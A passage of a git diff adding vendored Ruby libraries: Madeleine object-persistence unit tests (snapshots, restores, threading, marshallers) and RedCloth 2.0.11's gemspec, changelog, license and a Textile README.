B.new(0) } + assert_equal(nil, mad_b2.system.yy.a.w, "Non persisted object after restart, no snapshot") + mad_b2.system.yy.a.w ||= "hello" # not saved + mad_b2.system.yy.a.w += " again" # not saved + mad_b2.take_snapshot # NOW saved + mad_b2.system.yy.a.w += " again" # not saved + assert_equal("hello again again", mad_b2.system.yy.a.w, "Non persisted object after take_snapshot and 1 change") + + mad_b2.close + mad_b3 = make_system(prevalence_base) { B.new(0) } + assert_equal("hello again", mad_b3.system.yy.a.w, "Non persisted object after restore (back to snapshotted state)") + mad_b3.close + end +end + +class RefInExternalObjTest < AutoTest + def test_main + mad_c = create_new_system(B, prevalence_base, 0) + x = D.new + x.w = mad_c.system.yy + mad_c.system.s = x # pass in an external object that contains a ref to obj in ths system + + mad_c.system.s.w.x += 1 # Increment counter via external obj + assert_equal(1, mad_c.system.yy.x, "Change via external object") + mad_c.system.yy.x += 1 # Increment counter directly + assert_equal(2, mad_c.system.s.w.x, "Direct change") + mad_c.close + + mad_c2 = make_system(prevalence_base) { B.new(0) } + assert_equal(2, mad_c2.system.s.w.x, "Value via external object after commands/restore") + assert_equal(2, mad_c2.system.yy.x, "Direct value after restore") + mad_c2.take_snapshot + mad_c2.close + + mad_c3 = make_system(prevalence_base) { B.new(0) } + assert_equal(2, mad_c3.system.s.w.x, "Value via external object after snapshot/restore") + assert_equal(2, mad_c3.system.yy.x, "Direct value after snapshot/restore") + + mad_c3.system.s.w.x += 1 # Increment counter via external obj + mad_c3.system.yy.x += 1 # Increment counter directly + mad_c3.close + + mad_c4 = make_system(prevalence_base) { B.new(0) } + assert_equal(4, mad_c4.system.s.w.x, "Value via external object after snapshot+commands/restore") + assert_equal(4, mad_c4.system.yy.x, "Direct value after snapshot+commands/restore") + mad_c4.close + end +end + +class BasicThreadSafetyTest < AutoTest + def test_main + x = Thread.new { + simpletest(1) + } + y = Thread.new { + simpletest(2) + } + x.join + y.join + end +end + +class ThreadConfidenceTest < AutoTest + def test_main + mad_d = create_new_system(F, prevalence_base) + mad_d.system.z = 0 + mad_e = create_new_system(G, prevalence_base+"2") + mad_e.system.yy.w = 0 + + x = [] + 25.times {|n| + x[n] = Thread.new { + 5.times { + sleep(rand/10) + mad_d.system.plus1 + mad_e.system.yy.minus1 + } + } + } + 25.times {|n| + x[n].join + } + assert_equal(125, mad_d.system.z, "125 commands") + assert_equal(-125, mad_e.system.yy.w, "125 commands") + + mad_e.close + mad_e2 = make_system(prevalence_base+"2") { G.new } + + 25.times {|n| + x[n] = Thread.new { + 5.times { + sleep(rand/10) + mad_d.system.plus1 + mad_e2.system.yy.minus1 + } + } + } + 25.times {|n| + x[n].join + } + assert_equal(250, mad_d.system.z, "restore/125 commands") + assert_equal(-250, mad_e2.system.yy.w, "restore/125 commands") + mad_d.close + mad_e2.close + end +end + +class InvalidMethodTest < AutoTest + def test_main + mad_f = create_new_system(A, prevalence_base) + mad_f.system.z = -1 + assert_raises(NoMethodError) { + mad_f.system.not_a_method + } + assert_equal(-1, mad_f.system.z, "System functions after NoMethodError") + mad_f.close + end +end + +class CircularReferenceTest < AutoTest + def test_main + mad_g = create_new_system(G, prevalence_base) + mad_g.system.yy.w = mad_g.system + mad_g.close + mad_g2 = make_system(prevalence_base) { G.new } + assert(mad_g2.system == mad_g2.system.yy.w.yy.w.yy.w, "Circular reference after command/restore") + mad_g2.take_snapshot + mad_g2.close + mad_g3 = make_system(prevalence_base) { G.new } + assert(mad_g3.system == mad_g3.system.yy.w.yy.w.yy.w, "Circular reference after snapshot/restore") + mad_g3.system.yy.w.yy.w.yy.w.a = 1 + assert_equal(1, mad_g3.system.a, "Circular reference change") + mad_g3.close + mad_g4 = make_system(prevalence_base) { G.new } + assert_equal(1, mad_g4.system.yy.w.yy.w.yy.w.a, "Circular reference after snapshot+commands/restore") + mad_g4.close +# The following tests would fail, cannot pass self (from class L to class M during init) +# self is the proxied object itself, not the Prox object it needs to be + mad_l = create_new_system(L, prevalence_base) +# assert_equal(mad_l.system, mad_l.system.x.yy, "Circular ref before snapshot/restore, passed self") + mad_l.take_snapshot + mad_l.close + mad_l = make_system(prevalence_base) { L.new } +# assert_equal(mad_l.system, mad_l.system.x.yy, "Circular ref after snapshot/restore, passed self") + mad_l.close + end +end + +class AutomaticCustomMarshallerTest < AutoTest + def test_main + custom_m(YAML) + custom_m(SOAP::Marshal) + custom_m(Madeleine::ZMarshal.new) + custom_m(Madeleine::ZMarshal.new(YAML)) + custom_m(Madeleine::ZMarshal.new(SOAP::Marshal)) + end + + def custom_m(marshaller) + dir = prevalence_base + delete_directory(dir) + @system_bases << dir + mad_h = make_system(dir) { G.new } + mad_h.system.yy.w = "abc" + mad_h.take_snapshot + mad_h.system.yy.w += "d" + assert_equal("abcd", mad_h.system.yy.w, "Custom marshalling after snapshot+commands with normal marshaller") + mad_h.close + mad_h = make_system(dir, marshaller) { G.new } + assert_equal("abcd", mad_h.system.yy.w, "Custom marshalling after snapshot+commands with normal marshaller, read with custom as marshaller") + mad_h.close + mad_h = make_system(dir) { G.new } + mad_h.marshaller = marshaller + mad_h.system.yy.w += "e" + assert_equal("abcde", mad_h.system.yy.w, "Custom marshalling after snapshot+commands+change marshaller+commands") + mad_h.take_snapshot + mad_h.close + if (marshaller == YAML) + File.open(dir + "/000000000000000000002.snapshot", "r") {|f| + assert_equal(f.gets, "--- !ruby/object:Madeleine::Automatic::Prox \n", "Custom marshalling marshaller change check") + } + end + mad_h = make_system(dir, marshaller) { G.new } + assert_equal("abcde", mad_h.system.yy.w, + "Custom marshalling after snapshot+commands+change marshaller+commands+snapshot+restore with normal marshaller") + mad_h.system.yy.w += "f" + mad_h.close + mad_h = make_system(dir) { G.new } + assert_equal("abcdef", mad_h.system.yy.w, "Custom marshalling snapshot custom+commands+restore normal") + mad_h.take_snapshot + mad_h.close + mad_h = make_system(dir, marshaller) { G.new } + assert_equal("abcdef", mad_h.system.yy.w, "Custom marshalling snapshot+restore custom") + mad_h.take_snapshot + mad_h.system.yy.w += "g" + mad_h.close + mad_h = make_system(dir, marshaller) { G.new } + assert_equal("abcdefg", mad_h.system.yy.w, "Custom marshalling after restore normal snapshot custom+commands+restore custom") + mad_h.system.yy.w = "abc" + mad_h.close + mad_h2 = make_system(dir, marshaller) { G.new } + assert_equal("abc", mad_h2.system.yy.w, "Custom marshalling after commands/restore") + mad_h2.take_snapshot + mad_h2.close + mad_h3 = make_system(dir, marshaller) { G.new } + assert_equal("abc", mad_h3.system.yy.w, "Custom marshalling after snapshot/restore") + mad_h3.system.yy.w += "d" + mad_h3.close + mad_h4 = make_system(dir, marshaller) { G.new } + assert_equal("abcd", mad_h4.system.yy.w, "Custom marshalling after snapshot+commands/restore") + mad_h4.close + mad_h = make_system(dir, marshaller) { G.new } + mad_h.system.yy.w = mad_h.system + mad_h.close + mad_h2 = make_system(dir, marshaller) { G.new } + assert_equal(mad_h2.system, mad_h2.system.yy.w, "Custom marshalling after commands/restore, circular ref") + mad_h2.take_snapshot + mad_h2.close + mad_h3 = make_system(dir, marshaller) { G.new } + assert_equal(mad_h3.system, mad_h3.system.yy.w, "Custom marshalling after snapshot/restore, circular ref") + mad_h3.system.yy.w = "sss" + mad_h3.system.yy.w = mad_h3.system + mad_h3.close + mad_h4 = make_system(dir, marshaller) { G.new } + assert_equal(mad_h4.system, mad_h4.system.yy.w, "Custom marshalling after snapshot+commands/restore, circular ref") + mad_h4.close + end +end + +# tests thread safety during system creation, particularly that different system ids are generated +class ThreadedStartupTest < AutoTest + def test_main + x,mad = [],[] + 20.times {|n| + x[n] = Thread.new { + sleep(rand/100) + mad[n] = create_new_system(F, prevalence_base+n.to_s) + mad[n].system.z = n + assert_equal(n, mad[n].system.z, "object change mad[#{n}].z") + mad[n].close + } + } + 20.times {|n| + x[n].join + mad_i = make_system(prevalence_base+n.to_s) { F.new } + assert_equal(n, mad_i.system.z, "restored mad[#{n}].z") + mad_i.close + } + end +end + +# tests restoring when objects get unreferenced and GC'd during restore +class FinalisedTest < AutoTest + def test_main + mad = create_new_system(B, prevalence_base, 0) + mad.system.yy = Array.new(200000) # make ruby run GC + mad.system.yy = Array.new(200000) # must be a better way, but running GC.start from inside + mad.system.yy = Array.new(50000) # class B didn't work for me + mad.close + mad2 = make_system(prevalence_base) { B.new(0) } + mad2.close + end +end + +class DontInterceptTest < AutoTest + def test_main + mad = create_new_system(K, prevalence_base) + mad.system.seven + assert_equal(7, mad.system.k, "Object changes") + mad.system.fourteen + assert_equal(14, mad.system.k, "Object changes, not intercepted") + mad.system.twentyone + assert_equal(21, mad.system.k, "Object changes, not intercepted") + mad.close + mad_1 = make_system(prevalence_base) { K.new } + assert_equal(7, mad_1.system.k, "Commands but no snapshot") + mad_1.take_snapshot + mad_1.close + mad_2 = make_system(prevalence_base) { K.new } + assert_equal(7, mad_2.system.k, "Snapshot but no commands") + mad_2.system.k -= 6 + mad_2.system.k -= 3 + mad_2.system.fourteen + mad_2.close + mad_3 = make_system(prevalence_base) { K.new } + assert_equal(-2, mad_3.system.k, "Snapshot and commands") + mad_3.close + end +end + +def add_automatic_tests(suite) + suite << BasicTest.suite + suite << ObjectOutsideTest.suite + suite << BlockGivenTest.suite + suite << NonPersistedObjectTest.suite + suite << RefInExternalObjTest.suite + suite << InvalidMethodTest.suite + suite << CircularReferenceTest.suite + suite << BasicThreadSafetyTest.suite + suite << FinalisedTest.suite + suite << DontInterceptTest.suite + suite << AutomaticCustomMarshallerTest.suite +end + +def add_slow_automatic_tests(suite) + suite << ThreadConfidenceTest.suite + suite << ThreadedStartupTest.suite +end + +if __FILE__ == $0 + slowsuite = Test::Unit::TestSuite.new("AutomaticMadeleine (including slow tests)") + add_automatic_tests(slowsuite) + add_slow_automatic_tests(slowsuite) + + require 'test/unit/ui/console/testrunner' + Test::Unit::UI::Console::TestRunner.run(slowsuite) +end diff --git a/vendor/madeleine-0.7.1/test/test_clocked.rb b/vendor/madeleine-0.7.1/test/test_clocked.rb new file mode 100755 index 00000000..fcbd02d1 --- /dev/null +++ b/vendor/madeleine-0.7.1/test/test_clocked.rb @@ -0,0 +1,94 @@ + +require 'madeleine/clock' + +class ClockedAddingSystem + include Madeleine::Clock::ClockedSystem + + attr_reader :total + + def initialize + @total = 0 + end + + def add(value) + @total += value + @total + end +end + +class TimeTest < Test::Unit::TestCase + + def test_clock + target = Madeleine::Clock::Clock.new + assert_equal(0, target.time.to_i) + assert_equal(0, target.time.usec) + + t1 = Time.at(10000) + target.forward_to(t1) + assert_equal(t1, target.time) + t2 = Time.at(20000) + target.forward_to(t2) + assert_equal(t2, target.time) + + assert_nothing_raised() { + target.forward_to(t2) + } + end + + def test_time_actor + @forward_calls = 0 + @last_time = Time.at(0) + + target = Madeleine::Clock::TimeActor.launch(self, 0.01) + + # When launch() has returned it should have sent + # one synchronous clock-tick before it went to sleep + assert_equal(1, @forward_calls) + + sleep(0.1) + assert(@forward_calls > 1) + target.destroy + + @forward_calls = 0 + sleep(0.1) + assert_equal(0, @forward_calls) + end + + # Self-shunt + def execute_command(command) + mock_system = self + command.execute(mock_system) + end + + # Self-shunt (system) + def clock + self + end + + # Self-shunt (clock) + def forward_to(time) + if time < @last_time + raise "non-monotonous time" + end + @last_time = time + @forward_calls += 1 + end + + def test_clocked_system + target = Object.new + target.extend(Madeleine::Clock::ClockedSystem) + t1 = Time.at(10000) + target.clock.forward_to(t1) + assert_equal(t1, target.clock.time) + t2 = Time.at(20000) + target.clock.forward_to(t2) + assert_equal(t2, target.clock.time) + reloaded_target = Marshal.load(Marshal.dump(target)) + assert_equal(t2, reloaded_target.clock.time) + end +end + + +def add_clocked_tests(suite) + suite << TimeTest.suite +end diff --git a/vendor/madeleine-0.7.1/test/test_command_log.rb b/vendor/madeleine-0.7.1/test/test_command_log.rb new file mode 100755 index 00000000..9f0961ca --- /dev/null +++ b/vendor/madeleine-0.7.1/test/test_command_log.rb @@ -0,0 +1,110 @@ + +unless $LOAD_PATH.include?("lib") + $LOAD_PATH.unshift("lib") +end +unless $LOAD_PATH.include?("test") + $LOAD_PATH.unshift("test") +end + +require 'madeleine' +require 'test/unit' +require 'stringio' + +class ExampleCommand + attr :value + + def initialize(value) + @value = value + end + + def execute(system) + system.add(@value) + end +end + +class CommandLogTest < Test::Unit::TestCase + + class MockFile < StringIO + def fsync + @was_fsynced = true + super + end + + attr :was_fsynced + end + + def test_file_opening + file_service = Object.new + def file_service.exist?(path) + [ + ["some", "path"].join(File::SEPARATOR), + ["some", "path", "000000000000000000001.command_log"].join(File::SEPARATOR), + ["some", "path", "000000000000000000002.command_log"].join(File::SEPARATOR), + ["some", "path", "000000000000000000003.command_log"].join(File::SEPARATOR), + ].include?(path) + end + def file_service.dir_entries(path, &block) + if path != ["some", "path"].join(File::SEPARATOR) + raise "wrong path" + end + [ + "000000000000000000001.command_log", + "000000000000000000003.command_log", + "000000000000000000002.command_log", + ] + end + def file_service.open(path, flags) + @was_open_called = true + if path != ["some", "path", "000000000000000000004.command_log"].join(File::SEPARATOR) + raise "wrong file id" + end + if flags != "wb" + raise "wrong flags" + end + MockFile.new + end + def file_service.was_open_called + @was_open_called + end + + target = Madeleine::CommandLog.new("some/path", file_service) + assert(file_service.was_open_called) + end + + def test_writing_command + file_service = Object.new + def file_service.exist?(path) + [ + ["some", "path"].join(File::SEPARATOR), + ].include?(path) + end + def file_service.dir_entries(path, &block) + if path != ["some", "path"].join(File::SEPARATOR) + raise "wrong path" + end + [] + end + def file_service.open(path, flags) + @file = MockFile.new + @file + end + def file_service.file + @file + end + def file_service.verify + unless @file.was_fsynced + raise "file wasn't fsynced" + end + end + command = ExampleCommand.new(1234) + + target = Madeleine::CommandLog.new("some/path", file_service) + target.store(command) + + file_service.verify + + file_service.file.rewind + assert_equal(Marshal.dump(command), file_service.file.read) + end +end + diff --git a/vendor/madeleine-0.7.1/test/test_executer.rb b/vendor/madeleine-0.7.1/test/test_executer.rb new file mode 100755 index 00000000..27d2f062 --- /dev/null +++ b/vendor/madeleine-0.7.1/test/test_executer.rb @@ -0,0 +1,54 @@ + +unless $LOAD_PATH.include?("lib") + $LOAD_PATH.unshift("lib") +end +unless $LOAD_PATH.include?("test") + $LOAD_PATH.unshift("test") +end + +require 'test/unit' +require 'madeleine' + +class ExecuterTest < Test::Unit::TestCase + + def test_executer + system = Object.new + command = self + executer = Madeleine::Executer.new(system) + @executed_with = nil + executer.execute(command) + assert_same(system, @executed_with) + end + + # Self-shunt + def execute(system) + @executed_with = system + end + + def test_execute_with_exception + system = Object.new + command = Object.new + def command.execute(system) + raise "this is an exception from a command" + end + executer = Madeleine::Executer.new(system) + assert_raises(RuntimeError) { + executer.execute(command) + } + end + + def test_exception_in_recovery + system = Object.new + command = Object.new + def command.execute(system) + raise "this is an exception from a command" + end + executer = Madeleine::Executer.new(system) + executer.recovery { + executer.execute(command) + } + assert_raises(RuntimeError) { + executer.execute(command) + } + end +end diff --git a/vendor/madeleine-0.7.1/test/test_persistence.rb b/vendor/madeleine-0.7.1/test/test_persistence.rb new file mode 100755 index 00000000..c0e3a639 --- /dev/null +++ b/vendor/madeleine-0.7.1/test/test_persistence.rb @@ -0,0 +1,169 @@ +#!/usr/local/bin/ruby -w +# +# Copyright(c) 2003 Anders Bengtsson +# +# PersistenceTest is based on the unit tests from Prevayler, +# Copyright(c) 2001-2003 Klaus Wuestefeld. +# + +$LOAD_PATH.unshift("lib") + +require 'madeleine' +require 'test/unit' + +class AddingSystem + attr_reader :total + + def initialize + @total = 0 + end + + def add(value) + @total += value + @total + end +end + + +class Addition + + attr_reader :value + + def initialize(value) + @value = value + end + + def execute(system) + system.add(@value) + end +end + + +class PersistenceTest < Test::Unit::TestCase + + def setup + @madeleine = nil + end + + def teardown + delete_prevalence_files(prevalence_base) + Dir.delete(prevalence_base) + end + + def verify(expected_total) + assert_equal(expected_total, prevalence_system().total(), "Total") + end + + def prevalence_system + @madeleine.system + end + + def prevalence_base + "PrevalenceBase" + end + + def clear_prevalence_base + @madeleine.close unless @madeleine.nil? + delete_prevalence_files(prevalence_base()) + end + + def delete_prevalence_files(directory_name) + return unless File.exist?(directory_name) + Dir.foreach(directory_name) {|file_name| + next if file_name == '.' + next if file_name == '..' + file_name.untaint + assert(File.delete(directory_name + File::SEPARATOR + file_name) == 1, + "Unable to delete #{file_name}") + } + end + + def crash_recover + @madeleine.close unless @madeleine.nil? + @madeleine = create_madeleine() + end + + def create_madeleine + SnapshotMadeleine.new(prevalence_base()) { AddingSystem.new } + end + + def snapshot + @madeleine.take_snapshot + end + + def add(value, expected_total) + total = @madeleine.execute_command(Addition.new(value)) + assert_equal(expected_total, total, "Total") + end + + def verify_snapshots(expected_count) + count = 0 + Dir.foreach(prevalence_base) {|name| + if name =~ /\.snapshot$/ + count += 1 + end + } + assert_equal(expected_count, count, "snapshots") + end + + def test_main + clear_prevalence_base + + # There is nothing to recover at first. + # A new system will be created. + crash_recover + + crash_recover + add(40,40) + add(30,70) + verify(70) + + crash_recover + verify(70) + + add(20,90) + add(15,105) + verify_snapshots(0) + snapshot + verify_snapshots(1) + snapshot + verify_snapshots(2) + verify(105) + + crash_recover + snapshot + add(10,115) + snapshot + add(5,120) + add(4,124) + verify(124) + + crash_recover + add(3,127) + verify(127) + + verify_snapshots(4) + + clear_prevalence_base + snapshot + + crash_recover + add(10,137) + add(2,139) + crash_recover + verify(139) + end + + def test_main_in_safe_level_one + thread = Thread.new { + $SAFE = 1 + test_main + } + thread.join + end +end + + +def add_persistence_tests(suite) + suite << PersistenceTest.suite +end diff --git a/vendor/madeleine-0.7.1/test/test_platforms.rb b/vendor/madeleine-0.7.1/test/test_platforms.rb new file mode 100755 index 00000000..b3ee03b1 --- /dev/null +++ b/vendor/madeleine-0.7.1/test/test_platforms.rb @@ -0,0 +1,65 @@ + +class AddCommand + def initialize(obj) + @obj = obj + end + + def execute(system) + system[@obj.myid] = @obj + end +end + +class Foo + attr_accessor :myid +end + + +# Checks for a strange marshalling or IO bug observed in the +# native win32-port of Ruby on WinXP. +# +# Test case provided by Steve Conover. + +class WierdWin32CorruptionTest < Test::Unit::TestCase + include TestUtils + + def teardown + (1..5).each {|i| + delete_directory("corruption_test#{i}") + } + end + + def doCorruptionTest(idstr, storagenumber) + m = SnapshotMadeleine.new("corruption_test" + storagenumber) { Hash.new() } + + f = Foo.new() + f.myid = idstr + + m.execute_command(AddCommand.new(f)) + m.close() + m = SnapshotMadeleine.new("corruption_test" + storagenumber) { Hash.new() } + end + + def testErrorOne + doCorruptionTest("123456789012345678901", "1") + end + + def testErrorTwo + doCorruptionTest("aaaaaaaaaaaaaaaaaaaaa", "2") + end + + def testNoErrorOne + doCorruptionTest("12345678901234567890", "3") + end + + def testNoErrorTwo + doCorruptionTest("1234567890123456789012", "4") + end + + def testWhiteSpace + doCorruptionTest("\n\r\t \r\n", "5") + end +end + +def add_platforms_tests(suite) + suite << WierdWin32CorruptionTest.suite +end diff --git a/vendor/madeleine-0.7.1/test/test_zmarshal.rb b/vendor/madeleine-0.7.1/test/test_zmarshal.rb new file mode 100755 index 00000000..80f46b90 --- /dev/null +++ b/vendor/madeleine-0.7.1/test/test_zmarshal.rb @@ -0,0 +1,52 @@ + +require 'madeleine/zmarshal' + +require 'stringio' +require 'yaml' + +class ZMarshalTest < Test::Unit::TestCase + + def test_full_circle_marshal + target = Madeleine::ZMarshal.new(Marshal) + object = ["foo", "bar"] + stream = StringIO.new + + target.dump(object, stream) + stream.rewind + result = target.load(stream) + + assert_equal(object, result) + end + + def test_full_circle_yaml + target = Madeleine::ZMarshal.new(YAML) + object = ["foo", "bar"] + stream = StringIO.new + + target.dump(object, stream) + stream.rewind + result = target.load(stream) + + assert_equal(object, result) + end + + def test_compression + target = Madeleine::ZMarshal.new(Marshal) + object = "x" * 1000 + + stream = StringIO.new + Marshal.dump(object, stream) + reference_size = stream.size + + stream = StringIO.new + target.dump(object, stream) + compressed_size = stream.size + + assert(compressed_size < reference_size) + end +end + + +def add_zmarshal_tests(suite) + suite << ZMarshalTest.suite +end diff --git a/vendor/redcloth-2.0.11/RedCloth.gemspec b/vendor/redcloth-2.0.11/RedCloth.gemspec new file mode 100755 index 00000000..2ff4ab35 --- /dev/null +++ b/vendor/redcloth-2.0.11/RedCloth.gemspec @@ -0,0 +1,34 @@ +require 'rubygems' +spec = Gem::Specification.new do |s| + + ## Basic Information + + s.name = 'RedCloth' + s.version = "2.0.11" + s.platform = Gem::Platform::RUBY + s.summary = <<-TXT + RedCloth is a module for using Textile in Ruby. Textile is a text format. + A very simple text format. Another stab at making readable text that can be converted to HTML. + TXT + + ## Include tests, libs, docs + + s.files = ['tests/**/*', 'lib/**/*', 'docs/**/*', 'run-tests.rb'].collect do |dirglob| + Dir.glob(dirglob) + end.flatten.delete_if {|item| item.include?("CVS")} + + ## Load-time details + + s.require_path = 'lib' + s.autorequire = 'redcloth' + + ## Author and project details + + s.author = "Why the Lucky Stiff" + s.email = "why@ruby-lang.org" + s.rubyforge_project = "redcloth" + s.homepage = "http://www.whytheluckystiff.net/ruby/redcloth/" +end +if $0==__FILE__ + Gem::Builder.new(spec).build +end diff --git a/vendor/redcloth-2.0.11/doc/CHANGELOG b/vendor/redcloth-2.0.11/doc/CHANGELOG new file mode 100755 index 00000000..6f2fa5bf --- /dev/null +++ b/vendor/redcloth-2.0.11/doc/CHANGELOG @@ -0,0 +1,111 @@ +--- %YAML:1.0 +- version: 2.0.11 + date: 2004-06-01 + changes: + - Fixed the new 2.0-style aliased links. + - Lines starting with div opening or closing tags aren't given paragraph tags. + - Escaped some sample markup that was being translated by RDoc. + - Subtle changes to the quick tags to help them interact with surrounding HTML better. + - Ensure angle brackets inside code quick tags get escaped. + - New patch and test by F. Ros to fix
     tags with class settings.
    +    - Commented out encode_entities and fix_entities, they do nothing now.  Thanks, Denis.
    +    - Scaled back QTAGS a back to avoid mixing up hyphens and dels.  Thanks, Denis.
    +    - Work on the references to ensure they are generating at least XHTML 1.0 Transitional.
    +
    +- version: 2.0.10
    +  date: 2004-05-26
    +  changes:
    +    - Table and list problems.  Rewrote the 
     handling code.. again.
    +
    +- version: 2.0.9
    +  date: 2004-05-26
    +  changes:
    +    - Improved RDoc.  Ri documentation is auto-installed now!
    +    - Links were consuming closing HTML tags.  (See latest test in tests/links.yml.)
    +    - Further speed patch from Denis.  Good good.
    +    - Patch by F. Ros to fix 
     tags with class settings.
    +
    +- version: 2.0.8
    +  date: 2004-05-22
    +  changes:
    +    - First scan of the glyphs() method only scans for pre|notextile|code, the
    +      deeper passes scan for all HTML.  Now inlines work around HTML tags!
    +      (What a pain!)
    +    - Moved tables and blocks into glyphs to keep them shielded from the parser
    +      if they are in 
     tags.
    +    - Patch by Denis Mertz to speed up RedCloth by compiling the various RegExps
    +      only once.  Thanks, David!
    +
    +- version: 2.0.7
    +  date: 2004-04-21
    +  changes:
    +    - New REFERENCE and QUICK-REFERENCE.  See http://hobix.com/textile/.
    +    - Lists rewritten to accomplish better line folding.
    +    - Better, greedier links.
    +    - Additional link and list tests.
    +
    +- version: 2.0.6
    +  date: 2004-04-16
    +  changes:
    +    - Bold and strong tags were mixed up.  '*' is now strong.  '**' is bold.
    +      They were swapped until now.
    +    - Horizontal alignments were pretty buggy.  Combining alignments with
    +      indents was totally broken.
    +    - Fixed table problem.  Now glyphs are handled between tables and blocks.
    +    - Nested 
     and  tags are now escaped.  Much better handling of
    +      HTML inside 
     tags.  Really: quite nice.
    +    - Patch from Florian Gross to fix an html filtration inconsistency.
    +
    +- version: 2.0.5
    +  date: 2004-04-14
    +  changes: 
    +    - Added safe mode (patch courtesy of Florian Gross).
    +    - Added line folding (suggested by Jim Menard).
    +    - Fixing notextile tags to work multi-line.
    +    - Ambiguity with em-dash and block opener.
    +    - Footnote bug. (Thanks, Jim Menard!)
    +
    +- version: 2.0.4
    +  date: 2004-04-08
    +  changes:
    +    - Scaled back aggresiveness of the inline matching to aid the em-dash.
    +    - Scaled back footnotes to stay out of array indices.
    +
    +- version: 2.0.3
    +  date: 2004-04-02
    +  changes:
    +    - Handling of pre, code, notextile was all wrong.  Also, got rid of the goofed up
    +      split then collect.  Now using gsub! and recursion to handle inlines and glyphs.
    +    - Better acronym support.
    +    - Suppression of Regexp warnings.
    +    - Single- and double-quoted string wierdness.  Thanks, Bret Pettichord.
    +
    +- version: 2.0.2
    +  date: 2004-03-08
    +  changes:
    +    - Fixed broken lists, broken tables.
    +    - code/pre tags now escape properly, glyphs are working, spans are working when surrounded by html tags.
    +    - Fixed classes and ids. 
    +    - Restricted notextile tags to a single line.
    +
    +- version: 2.0.1
    +  date: 2004-02-10
    +  changes:
    +    - Unmatched closing slash on regexps in ruby 1.6.8.
    +    - Fixes to bulleted lists.
    +
    +- version: 2.0
    +  date: 2004-02-06
    +  changes:
    +    - Complete rewrite of RedCloth, against beta2 from textism.com.
    +
    +- version: 0.41
    +  date: 2003-06-20
    +  changes:
    +    - Newlines were outputing as escaped.
    +
    +- version: 0.4
    +  date: 2003-06-20
    +  changes:
    +    - Initial public release.
    +    - Integration of YAML-based PyTextile tests.
    diff --git a/vendor/redcloth-2.0.11/doc/COPYING b/vendor/redcloth-2.0.11/doc/COPYING
    new file mode 100755
    index 00000000..044109ae
    --- /dev/null
    +++ b/vendor/redcloth-2.0.11/doc/COPYING
    @@ -0,0 +1,25 @@
    +Redistribution and use in source and binary forms, with or without 
    +modification, are permitted provided that the following conditions are met:
    +
    +* Redistributions of source code must retain the above copyright notice, 
    +  this list of conditions and the following disclaimer.
    +
    +* Redistributions in binary form must reproduce the above copyright notice,
    +  this list of conditions and the following disclaimer in the documentation
    +  and/or other materials provided with the distribution.
    +
    +* Neither the name Textile nor the names of its contributors may be used to
    +  endorse or promote products derived from this software without specific
    +  prior written permission.
    +
    +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
    +AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 
    +IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE 
    +ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE 
    +LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 
    +CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF 
    +SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS 
    +INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN 
    +CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) 
    +ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
    +POSSIBILITY OF SUCH DAMAGE.
    diff --git a/vendor/redcloth-2.0.11/doc/README b/vendor/redcloth-2.0.11/doc/README
    new file mode 100755
    index 00000000..7a5cb1f6
    --- /dev/null
    +++ b/vendor/redcloth-2.0.11/doc/README
    @@ -0,0 +1,106 @@
    +p=. !redcloth-title.png!
    +
    +
    +
    +RedCloth is a module for using Textile in Ruby.  Textile is a text format.  A very simple text format.  Another stab at making readable text that can be converted to HTML.
    +
    +h2. What is Textile?
    +
    +Textile is a simple markup language.
    +
    +table{width:400px}.
    +|_. textile|_. to|_. html|
    +| ==_a phrase_== |->|_a phrase_|
    +| ==*a phrase*== |->|*a phrase*|
    +| ==_*a phrase*_== |->|_*a phrase*_|
    +| =="Google":http://google.com== |->|"Google":http://google.com|
    +
    +No need to use verbose HTML to build your docs, your blogs, your pages.  Textile gives you readable text while you're writing and beautiful text for your readers.  And if you need to break out into HTML, Textile will allow you to do so.
    +
    +Textile also handles some subtleties of formatting which will enhance your document's readability:
    +
    +* Single- and double-quotes around words or phrases are converted to curly quotations, much easier on
    +  the eye.  "Observe!"
    +
    +* Double hyphens are replaced with an em-dash.  Observe -- very nice!
    +
    +* Single hyphens are replaced with en-dashes. Observe - so cute!
    +
    +* Triplets of periods become an ellipsis.  Observe...
    +
    +* The letter 'x' becomes a dimension sign when used alone.  Observe: 2 x 2.
    +
    +* Conversion of ==(TM)== to (TM), ==(R)== to (R), ==(C)== to (C).
    +
    +For more on Textile's language, hop over to "A Textile Reference":http://hobix.com/textile/.
    +
    +h2. Using RedCloth
    +
    +The RedCloth class is an extension of Ruby's String class. Use it like you would a String:
    +
    +
    +  >> r = RedCloth.new "*strong text* and _emphasized text_"
    +  => "*strong text* and _emphasized text_"
    +  >> r.gsub!( 'text', 'words' )
    +  => "*strong words* and _emphasized words_"
    +
    + +To generate HTML from your RedCloth object, use the @RedCloth#to_html@ method: + +
    +  >> r.to_html
    +  => "

    strong words and emphasized words

    " +
    + + +h2. Installing RedCloth + +To install RedCloth via RubyGems: + +
    +  gem -Ri RedCloth
    +
    + +Or "download RedCloth":http://rubyforge.org/frs/download.php/670/redcloth-2.0.10.tar.gz and simply run the install.rb like so: + +
    +  ruby install.rb config
    +  ruby install.rb setup
    +  sudo ruby install.rb install
    +
